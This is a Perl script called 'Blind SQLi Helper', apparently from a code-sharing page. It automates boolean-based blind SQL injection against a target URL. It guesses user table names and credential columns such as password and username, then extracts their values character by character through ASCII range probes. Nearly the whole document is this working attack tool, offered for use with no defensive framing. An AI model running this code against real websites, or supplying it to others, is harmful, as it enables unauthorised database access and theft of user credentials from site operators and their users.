./c0de/perl/blind_helper.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
250.
251.
252.
253.
254.
255.
256.
257.
258.
259.
260.
261.
262.
263.
264.
265.
#!/usr/bin/perl
 
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;
 
system("cls");
 
print "+--------------------------------+\n";
print "+   Blind SQLi Helper by Pr0xY   +\n";
print "+           Version 1.0          +\n";
print "+--------------------------------+\n\n";
 
$target = "";
$prefix  = "";
 
@tables = ("user", "users", "member", "members", "customer", "customers");
@column = ("id","user_name","password","user_id","uid","pass","passwd","user","username");
@columns_found = ();
 
$table_name = "";
 
$ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
$ua->timeout(5);
$ua->env_proxy;
 
$response = $ua->get($target);
 
if($response->is_success)
{
	$normal = $response->content;
	print "Target: ".$target."\n\n";
 
	$response = $ua->get($target."+AND+SUBSTRING(unhex(hex(\@\@version)),1,1)=5");
 
	if($response->is_success && $response->content eq $normal)
	{		
		print "*Find table name: \n\n";
 
		for($i=0; $i<@tables; $i++)
		{
			if(!($prefix eq ""))
			{
				@names = ($tables[$i], $tables[$i]."_".$prefix, $prefix."_".$tables[$i]);
 
				for($j=0; $j<@names; $j++)
				{
					$injAdd = "+AND+(SELECT+1+FROM+".$names[$j]."+LIMIT+0,1)=1";
					print $injAdd." - ";
 
					$response = $ua->get($target.$injAdd);
 
					if($response->is_success)
					{
						if($response->content eq $normal)
						{
							print "True\n";
 
							$table_name = $names[$j];
							$j = @names;
							$i = @tables;
						}
						else{print "False\n"};						
					}
					else
					{
						print "False\n\nError connection!\n\n";
						$e = 1;
						$j = @names;
						$i = @tables;
					}
				}
			}
			else
			{
				$injAdd = "+AND+(SELECT+1+FROM+".$tables[$i]."+LIMIT+0,1)=1";
				print $injAdd." - ";
 
				$response = $ua->get($target.$injAdd);
 
				if($response->is_success)
				{
					if($response->content eq $normal)
					{
						print "True\n";
 
						$table_name = $tables[$i];
						$j = @names;
						$i = @tables;
					}
					else{print "False\n"};					
				}
				else
				{
					print "False\n\nError connection!\n\n";
					$e = 1;
					$j = @names;
					$i = @tables;
				}
 
			}
		}
 
		if(!($table_name eq "") && $e != 1)
		{
			print "\nTable name is: ".$table_name."\n\n*Find columns name: \n\n";
 
			for($i=0; $i<@column; $i++)
			{
				$injAdd = "+AND+(SELECT+SUBSTRING(CONCAT(1,".$column[$i]."),1,1)+from+".$table_name."+limit+0,1)=1";
				print $injAdd." - ";
 
				$response = $ua->get($target.$injAdd);
 
				if($response->is_success)
				{
					if($response->content eq $normal)
					{
						print "True\n";
						$columns_found[@columns_found] = $column[$i];
					}
					else{print "False\n"};			
				}
				else
				{
					print "False\n\nError connection!\n\n";
					$e = 1;
					$i = @column;
				}
			}
 
			if(@columns_found > 0)
			{
				print "\nColumns:\n\n";
 
				for($i=0; $i<@columns_found; $i++)
				{
					print "   *".$columns_found[$i]."\n";
 
					if($i != (@columns_found-1)){$concat .= $columns_found[$i].",0x3a,";}
					else{$concat .= $columns_found[$i];}
				}
				print "\nCONCAT(".$concat.")\n\nFind ACSII'S Values:\n\n";
 
				$start_find = 1;
				$substring  = 1;
				$limit      = 0;
 
				while($start_find == 1)
				{
					$between   = 30;
 
					$injAdd = "+AND+ASCII(SUBSTR((SELECT+CONCAT(".$concat.")FROM+".$table_name."+LIMIT+".$limit.",1),".$substring.",1))BETWEEN+".$between."+AND+".($between+10);
 
					print $injAdd." - ";
 
					$response = $ua->get($target.$injAdd);
 
					if($response->is_success)
					{
						$c = $response->content;
 
						if(!($c eq $normal))
						{
							print " False\n";
 
							while(!($c eq $normal))
							{
								$between+=10;
								$injAdd = "+AND+ASCII(SUBSTR((SELECT+CONCAT(".$concat.")FROM+".$table_name."+LIMIT+".$limit.",1),".$substring.",1))BETWEEN+".$between."+AND+".($between+10);
 
								print $injAdd." - ";
 
								$response = $ua->get($target.$injAdd);
								if($response->is_success)
								{
									$c = $response->content;
 
									if($c eq $normal)
									{
										print "True\n";
									}
									else{print "False\n";}
								}
							}
						}
						else{print "True\n";}
 
						$injAdd = "+AND+ASCII(SUBSTR((SELECT+CONCAT(".$concat.")FROM+".$table_name."+LIMIT+".$limit.",1),".$substring.",1))>".$between;
						print $injAdd." - ";
 
						$response = $ua->get($target.$injAdd);
 
						if($response->is_success)
						{
							$c = $response->content;
							if($c eq $normal)
							{
								print " False\n";
 
								while($c eq $normal)
								{
									$between+=1;
									$injAdd = "+AND+ASCII(SUBSTR((SELECT+CONCAT(".$concat.")FROM+".$table_name."+LIMIT+".$limit.",1),".$substring.",1))>".$between;
									print $injAdd." - ";
 
									$response = $ua->get($target.$injAdd);
									if($response->is_success)
									{
										$c = $response->content;
										if($c eq $normal){print "False\n";}
										else
										{
											print "True\n\nChr value:".$between."\n\n";
											$chars[@chars] = $between;
										}
									}
								}
							}
							else
							{
								print "True\n\nChr value:".$between."\n\n";
								$chars[@chars] = $between;
							}
						}
						else
						{
							print "False\n\nError connection!\n\n";
							$start_find = 0;
						}
					}
					$substring+=1;	
 
					$injAdd = "+AND+ASCII(SUBSTR((SELECT+CONCAT(".$concat.")FROM+".$table_name."+LIMIT+".$limit.",1),".$substring.",1))=0";		
					print "\n".$injAdd."\nFinish? (";
 
					for($i=0; $i<@chars; $i++){print chr($chars[$i]);}
					print ") - ";
 
					$response = $ua->get($target.$injAdd);
 
					if($response->is_success)
					{
						if($response->content eq $normal)
						{
							print "True\n\n";
							$start_find = 0;
						}
						else{print "False\n\n";}
					}
					else
					{
						print "False\n\nError connection!\n\n";
						$start_find = 0;
					}
				}
 
				for($i=0; $i<@chars; $i++){print chr($chars[$i]);}
			}
		}
		else{print "\nSorry, cannot find the table name :[";}
	}
	else{print "It's not MySQL 4/SQL Injection\n";}
}
else{print "\nCan not find the file requested(404)\n".$target." Is not found!\n\n";}
 

Back